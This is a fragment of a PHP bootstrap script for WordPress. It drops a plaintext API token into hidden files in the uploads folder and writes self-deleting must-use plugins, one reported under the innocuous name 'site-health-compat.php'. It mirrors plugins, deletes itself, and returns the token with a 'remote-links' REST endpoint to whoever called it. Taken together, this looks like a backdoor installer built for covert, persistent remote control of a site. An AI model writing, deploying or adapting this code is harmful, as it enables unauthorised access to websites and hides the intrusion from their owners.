$drop_body = $plain . "\nbootstrap\n";
$hash_line = hash('sha256', $plain) . "\n";
if ($opened['uploads_rl'] === 'ok') {
@file_put_contents($paths['uploads_rl'] . '/.rl_token_claim', $drop_body);
@file_put_contents($paths['uploads_rl'] . '/rl-token-once.txt', $drop_body);
@file_put_contents($paths['uploads_rl'] . '/.rl_token_once', $drop_body);
@file_put_contents($paths['uploads_rl'] . '/.rl_token_hash', $hash_line);
$idx = $paths['uploads_rl'] . '/index.php';
if (!is_file($idx)) {
@file_put_contents($idx, "<?php\n// silence\n");
}
}
$claim = $paths['mu-plugins'] . '/0-rl-token-claim.php';
$claim_php = <<<'PHP'
<?php
/**
* Plugin Name: RL Token Claim
*/
if (!defined('ABSPATH') || !defined('WP_CONTENT_DIR')) {
return;
}
$_rlf = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/uploads/rl/.rl_token_claim';
if (!is_file($_rlf)) {
$_rlf = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/uploads/rl/rl-token-once.txt';
}
if (is_file($_rlf) && function_exists('update_option')) {
$_rlraw = (string) @file_get_contents($_rlf);
$_rlp = trim(strtok($_rlraw, "\r\n"));
if (strlen($_rlp) >= 16) {
update_option('rl_api_token_hash', hash('sha256', $_rlp), false);
@file_put_contents(
rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/uploads/rl/.rl_token_hash',
hash('sha256', $_rlp) . "\n"
);
@unlink($_rlf);
foreach (array('rl-token-once.txt', '.rl_token_once', '.rl_token_claim') as $_n) {
@unlink(rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/uploads/rl/' . $_n);
}
}
}
@unlink(__FILE__);
PHP;
@file_put_contents($claim, $claim_php);
@chmod($claim, 0644);
$gate_info = rl_boot_write_gate($content);
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
$site = ($host !== '') ? ($scheme . '://' . $host . '/') : '';
$deleted = rl_boot_self_delete();
rl_boot_json(array(
'ok' => true,
'token' => $plain,
'api_base' => $site !== '' ? ($site . 'wp-json/remote-links/v1/') : '',
'site' => $site,
'mu_plugin' => 'site-health-compat.php',
'mu_bytes' => (int) $written,
'plugins_mirror' => $plug_ok,
'plugins_path' => $plug_dest,
'gate' => $gate_info,
'wp_root' => $wp_root,
'opened' => $opened,
'via' => 'rl-bootstrap',
'mode' => 'no-wp-load',
'self_deleted' => $deleted,
'claim' => is_file($claim),
));
exit;